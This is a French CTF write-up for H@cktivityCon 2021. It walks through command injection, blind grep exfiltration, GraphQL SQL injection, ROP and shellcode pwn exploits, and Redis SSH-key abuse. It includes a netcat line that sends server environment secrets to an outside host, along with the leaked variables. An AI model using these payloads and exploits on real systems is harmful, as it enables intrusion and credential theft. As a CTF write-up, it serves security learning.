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--- tags: CTF --- # H@cktivityCon 2021 CTF site : https://ctf.hacktivitycon.com/ flag format : `flag\{[0-9a-f]{32}\}` ## web ### Swaggy Il faut choisir l'api expérimentale car l'autre est down, s'authentifier avec le login et mot de passe admin:admin, et utiliser la fonctionnalité Try it out pour récupérer le flag ### confidentiality (n°1 command injection) Simple chall d'injection de commandes ici ``` POST / HTTP/1.1 Host: challenge.ctf.games:31265 Content-Length: 19 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge.ctf.games:31265 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge.ctf.games:31265/ Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close file=/etc/host ; ls ``` ``` <pre> flag.txt main.py requirements.txt templates </pre> ``` ``` file=/etc/host ; cat flag.txt ``` ``` <pre> flag{e56abbce7b83d62dac05e59fb1e81c68} </pre> ``` ### Integrity (n°2 command injection) Même challenge que juste avant sauf que tous les caractères sont filtrés. Ex: ``` Sorry! The character ';' is not allowed! ``` Enfin presque, on peut quand même faire des carriage return (\n ou %0A en url encoded) et donc notre commande mise a la ligne sera executée. ``` POST / HTTP/1.1 Host: challenge.ctf.games:30043 Content-Length: 22 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge.ctf.games:30043 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge.ctf.games:30043/ Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close file=/etc/hosts %0Als ``` ``` [...] <pre> 8f7a5367f3f5a0172149ec24619b75fc027235de6d59e0b2fa87287a10d279ef /etc/hosts flag.txt main.py requirements.txt templates </pre> [...] ``` ``` file=/etc/hosts %0Acat flag.txt ``` ``` [...] <pre> 5a5d3fae93a05b3f1470b89da5ede6a015490b5513add0b5c666e55fddbe8bf9 /etc/hosts flag{62b8b3cb5b8c6803bf3dc585b1b5141d} </pre> [...] ``` ### availability (n°3 command injection) On réutilise la même techinque que pour le chall d'avant c-a-d le carriage return pour exec une commande, sauf que cette fois ci, on pas l'output ```http POST / HTTP/1.1 Host: challenge.ctf.games:31731 Content-Length: 38 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge.ctf.games:31731 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge.ctf.games:31731/ Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close host=82.65.167.141 %0A grep 0 flag.txt ``` Mais on a des canaries values ``` Reponse: Success! Looks like pinging the host &#39;82.65.167.141 grep 0 flag.txt&#39; worked! ``` ou ``` Failure! The host &#39;82.65.167.141 grep 3 flag.txt&#39; was not able to be pinged. ``` Et donc, en utilisant grep, on va pouvoir trouver les patterns du md5 du flag et quand on aura un pattern de 32 caractères on sait qu'on aura le flag ```python= #! /usr/bin/env python3 #-- all rights: @fey --# #-- py-version: 3.* --# import requests as rq dic = ["a","b", "c","d","f","1","2","4","5","6","7", "8", "9", "0"] patterns = [] host = "challenge.ctf.games:31731" def send_req(pat): data={"host":"82.65.167.141 %s grep %s flag.txt" % ("\n",pat)} resp = rq.post(url="http://"+host,data=data) return "worked!" in resp.text def rec(pattern): for i in dic: if send_req(pattern + i): patterns.append(pattern + i) print("found:", pattern + i) rec(pattern + i) if __name__ == "__main__": rec("") print(patterns) ``` ``` ┌[macarthur🍏 MacBook-Air-de-arthur] [146] └[/Users/MacArthur/pentest_ctfs/ctf/hacktivitycon/web/availability] ⌲ ⌲ ⌲ ./exp.py found: a found: a0 found: a08 found: a088 [...] found: a08816027174c1 found: a08816027174c14 [...] found: c11d098dd25a08816027174c14f7bf6 found: c11d098dd25a08816027174c14f7bf60 ``` flag: flag{c11d098dd25a08816027174c14f7bf60} ### All Baked Up Lorsque l'on regarde les requetes on s'apercoit qu'une requete est faite sur un endpoint graphql J'ai utilisé graphiql pour interagir avec le graphQL du challenge de manière plus simple et plus intuitive on peut envoyer la payload suivante pour avoir le schema de graphQL ```graphql= { __schema { types { name } } } ``` On a la réponse : ```graphql= { "data": { "__schema": { "types": [ { "name": "User" }, { "name": "__Field" }, [...] { "name": "Auth" }, { "name": "__Schema" } ] } } } ``` injections sql dans la variable name ```http= POST /graphql HTTP/1.1 Host: challenge.ctf.games:31710 Content-Length: 290 accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 content-type: application/json Origin: http://challenge.ctf.games:31710 Referer: http://challenge.ctf.games:31710/post/Grandma's%20Yeast%20Rolls Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: spiralCI=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyaWQiOi0xfQ.pCIT8y2m4E3nC-rpos3BvorxYZqIDpNNdZroYvpzMYI Connection: close {"operationName":"UserQuery","variables":{"name":"' Union select 1,2,3,password,5,6 from users --"},"query":"query UserQuery($name: String!) {\n post(name: $name) {\n id\n name\n image\n content\n author {\n username\n __typename\n }\n __typename\n }\n}\n"} ``` dans la réponse il y a le mot de passe de l'utilisateur cogon4tor : n8bboB!3%vDwiASVgKhv on peut alors s'authentifier, récupérer le token JWT et lancer la commande flag flag : flag{9d26b6e4a765ecd87fe03a1494c22236} ### Titanic il y a une page qui prend une capture d'ecran lorsqu'on envoie une url. On envoie l'url server-status, on a donc le mot depasse et le username de l'admin, on se connecte et on a le flag flag : flag{88269d5ef52a5ee961ea6449e1b610a9} ### OPA Secret On a accès au github du projet, https://github.com/congon4tor/opa_secrets dans app.py, cette partie de code attire notre attention ```python= @app.route("/updateSettings", methods=["POST"]) def updateSettings(): url = request.form.get("url") if not url: return redirect("settings?error=Missing parameters") if not session.get("id", None): return redirect("/signin?error=Please sign in") user_id = session.get("id") user = get_user(user_id) if not user: return redirect("/signin?error=Invalid session") if ( ";" in url or "`" in url or "$" in url or "(" in url or "|" in url or "&" in url or "<" in url or ">" in url ): return redirect("settings?error=Invalid character") cmd = f"curl --request GET {url} --output ./static/images/{user['id']} --proto =http,https" status = os.system(cmd) if status != 0: return redirect("settings?error=Error fetching the image") ``` On a certainement une injection de commande sur l'endpoint /updateSettings Il y'a quelques filtres mais pas de protection contre les retours a la ligne on peut donc envoyer ``` url=http://osef%0Asleep 22%0Acurl http://osef ``` Et on voit bien que le server mais du temps a repondre donc notre injection de command est avérée le flag est dans la variable d'environnement alors en je vais executer env a travers netcat pour recuperer l'output ``` url=http://osef%0Anc mrfey.fr 8888 -e env %0Acurl http://osef ``` ```nc -lvp 8888 listening on [any] 8888 ... connect to [192.168.1.180] from 12.220.198.104.bc.googleusercontent.com [104.198.220.12] 38431 KUBERNETES_PORT=tcp://10.116.0.1:443 KUBERNETES_SERVICE_PORT=443 UWSGI_ORIGINAL_PROC_NAME=uwsgi HOSTNAME=opa-secrets-cfd88c92f5d80ebc-dfbbdc7b4-52xq2 PYTHON_PIP_VERSION=21.0.1 SHLVL=1 HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/4be3fe44ad9dedc028629ed1497052d65d281b8e/get-pip.py AMDIN_PASSWORD=cegJBSPsR+c7UtCcH6fArJ6Mp8mwCkaGnT71QxgVijo KUBERNETES_PORT_443_TCP_ADDR=10.116.0.1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp LANG=C.UTF-8 PYTHON_VERSION=3.8.7 KUBERNETES_PORT_443_TCP=tcp://10.116.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_HOST=10.116.0.1 PWD=/usr/src/app PYTHON_GET_PIP_SHA256=8006625804f55e1bd99ad4214fd07082fee27a1c35945648a58f9087a714e9d4 COOKIE_SECRET=Mp8egJBSPsR+cxgViGnTcfArjo7UtCcH6mwCkaJ671Q UWSGI_RELOADS=0 FLAG=flag{589882d62d1c899d8b85db1af2076b39} ``` Done ## pwn ### Shellcoded ```c= #include <stdint.h> #include <stdio.h> int main(void) { const uint8_t sc[29] = { 0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05 }; uint8_t buffer[29]; for (uint8_t i = 0; i < 29; ++i) { char v = (i & 1) == 0 ? 0x1 : -1; buffer[i] = sc[i] - i * v; } for (uint8_t i = 0; i < 29; ++i) { printf("\\x%02x", buffer[i]); } } ``` ```python= from pwn import * context.binary = elf = ELF("./shellcoded") shellcode = b"\x6a\x43\x56\x01\xc0\x4d\x93\x59\x40\xc8\x25\x6d\x5d\x7b\x21\x3e\x63\x79\x45\x67\x4a\x5e\x73\xe7\x31\xa2\xb8\x2a\xe9" #io = process("./shellcoded") """ io = gdb.debug("./shellcoded", ''' break main break *(main+273) ''') """ io = remote("challenge.ctf.games", 32383) io.sendline(shellcode) io.interactive() ``` ### The Library ```python= #!/bin/python3 from pwn import * def convert_address(n): number = 0 for i in range(len(n)): number |= n[i] << (8 * i) return (number >> 8) & 0x7FFFFFFFFFFF context.binary = elf = ELF("./the_library") libc = ELF("libc-2.31.so") # io = process("./the_library") io = remote("challenge.ctf.games", 31125) str=0x004020e9 + 0x4 ropchain=p64(0x0000000000401493) # pop rdi ropchain+=p64(0x403fc8) # got entry for gets ropchain+=p64(elf.plt["puts"]) # use to leak the address of gets ropchain+=p64(0x00000000004012ad) # go back to main payload = b"A" * 552 + ropchain io.sendline(payload) # skip the lines for i in range(13): r = io.recvline() sleep(1) # Without the sleep, it does not work leak_address = io.recvline() l = [8] for i in range(len(leak_address)): l.append(leak_address[i]) gets_address = convert_address(l) base_libc = gets_address - libc.symbols["gets"] print("libc_base: ", hex(base_libc)) gadget_addr = base_libc + 0xe6c7e # gadget needs to have r15 and r12 equals to 0x0 ropchain=p64(0x000000000040148c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ropchain+=p64(0x0) ropchain+=p64(0x0) ropchain+=p64(0x0) ropchain+=p64(0x0) ropchain+=p64(gadget_addr) payload = b"A" * 552 + ropchain io.sendline(payload) io.interactive() ``` ### retcheck ```python= #!/bin/python3 from pwn import * REMOTE = True if REMOTE: p = remote('challenge.ctf.games',31463) else: elf = ELF("./retcheck") gs = ''' #b *0x0000000000401446 continue ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) p = remote('challenge.ctf.games',31463) OFFSET = 408 canary = 0x401465 win = 0x4012e9 payload = b'A'*OFFSET + p64(canary) + p64(0x1) + p64(win) print(p.recvuntil(b"enabled !!\n")) p.sendline(payload) p.interactive() ``` ## warmup ### 2ez je strings le fichier, je fois la chaine de caractere JFIF, je remplace les 4 premiers octets `2EZ` par `FF D8 FF E1` ### Butter overflow On voit un buffer dans le code source de taille 512, en prenant un nombre bien supérieur a celui ci on peut récupérer le flag NB: J'ai pas vraiment compris pourquoi fallait plus que 513 mais bon ça a marché ### Target Practice Il faut ouvrir le gif frame par frame et scanner avec une app qui peut lire les Maxicode, une des frames contient le flag ## forensics ### Excellent Difficulty: medium On a un fichier .zip qui dézippé donne un fichier "excellent.bin". J'utilise "volatility" pour le forensic. Le profile de l'image est "Win10x64_19041" et maitenant je liste les processus et je trouve : ``` ************************************************************************ LibreOfficePor pid: 1036 Command line : LibreOfficePortablePrevious.exe -calc "C:\Users\congon4tor\Desktop\flag.ods" ************************************************************************ soffice.exe pid: 5332 Command line : "C:\Users\congon4tor\Downloads\LibreOfficePortablePrevious\App\libreoffice\program\soffice.exe" -calc "C:\Users\congon4tor\Desktop\flag.ods" ************************************************************************ ``` Donc on peut dump le fichier "flag.ods" dans un dossier "test". ``` vol.py -f image.bin --profile=Win10x64_19041 dumpfiles -i -n -D test --regex=flag ``` On récupère le fichier qui est une feuille de calcul office et on peut l'ouvrir pour voir le flag. (office demande de réparer le ficher donc j'avais dis oui). flag: flag{4b02ee4e7b62139152e8d0d4373a7c3d} ## stegano ## reverse ## crypto ### N1TP La clef du xor est réutilisée. flag{9276cdb76a3dd6b1f523209cd9c0a11b} ### Hexahedron On repère un chiffrement RSA (nom des variables conventionnels n e et c), avec un exposant égal a 3. On peut donc retrouver le message original en faisant une racine cubique du message chiffré c. NB: je ne sais pas pourquoi ça ne marchait pas avec l'opérateur ** en python (surement a cause du mélange float / int), mais on peut trouver le résultat avec cette fonction https://riptutorial.com/python/example/8751/computing-large-integer-roots ## misc ### Bad Words En utilisant la commande find entre guillemets on peut trouver le chemin relatif du flag, et comme la commande cat n'est pas disponible j'ai pu trouver un moyen de lire un fichier comme une commande en faisant $(<chemindufichier). On a ainsi récupéré le flag. NB: ne marche pas si le flag contient des espaces. ### Redlike On a un accés ssh. En faisant du scan de base on voit un processus "redis-server" lancé par root en local sur le port 6379. Avec SSH je fais un transfert de ce port vers ma machine. Avec un scan nmap je vois que la version de ce Redis est exploitable et qu'on peut se connecter sans authentification. Je regarde alors ce tuto pour upload ma clé ssh dans "/root/.ssh" --> "https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh" et je me connecte ensuite à root avec ssh et je récupère le flag. ### Race car On a un accès ssh, utilise sftp pour fouiller le serveur, on trouve un ficher dans le dossier .ssh qui kill la connection, on upload un fichier vide à la place, on peut alors ssh sur la machine, on a toutes les perms de sudo, on peut alors cat /root/flag.txt flag : flag{f3deae2684d2bbec63d088374502a339} ## osint ### Jed Sheeran Avec une simple recherche du nom sur google on tombe sur un compte soundcloud, sa seule piste postée contient le flag en description ### Mike Shallot Une piste? :https://pastebin.com/u/mikeshallot -> http://strongerw2ise74v3duebgsvug4mehyhlpa7f6kfwnas7zofs3kov7yd.onion/ mais les identifiants : pduplowzp/nndw79 , ne fonctionne pas j'ai créer un compte si ça intéresse qlq : testlandia:johncena123 il apparait sur ce site : http://kiosk2.co.uk/f16-home-construction/ le site est vraiment bizzare Update: pduplowzp/nndw79 était en fait l'adresse de la paste, il suffisait de l'ajouter après l'adresse en .onion pour trouver le flag. flag{6e57a4c0be1656f9bc873647f49b9cdc} ### Don T MASON url : https://www.wetzelchronicle.com/opinion/columns-by-chuck-clegg/2017/07/13/the-great-elephant-race/ ## Mobile ### To do Il suffisait de décompresser l'apk, et de trouver le fichier db dans le dossier assets. Si on l'ouvre avec sqlite on peut trouver le flag encodé en base64 directement. ### Reactor J'ai lancé l'application, j'ai testé différentes combinaisons et j'ai vu que chaque caractere du nombre influait sur 1 caractere du flag. j'ai tésté quelques codes et j'ai vu que lorsqu'il y avait un 9 en deuxieme caractère, on avait une acolade fermée en dernier caractère du flag et ce, peu importe les autres caractères donc j'ai teste les differentes possibilites pour avoir `flag{` et c'est tout flag : flag{cfbb4c6ec59ce316e8d7644ac4c70a12} ## Malware ### phonetic on a un fichier php, on le deobfusque un peu, on trouve un deuxieme fichier php chiffré par un xor. En le décodant on trouve deux chaines encodées en base64. On les decode et trouve un programme perl qui uudecode une string, on uudecode la string et le flag flag : flag{9b5c4313d12958354be6284fcd63dd26} ### DotBat on deobfusque le fichier batch, on trouve un "certificat", on le decode et on a un fichier PE, on le reverse, il faut déchiffrer un string chiffré par AES, on trouve alors le flag flag : flag{3a75349c5d614587898c785d88da3582}

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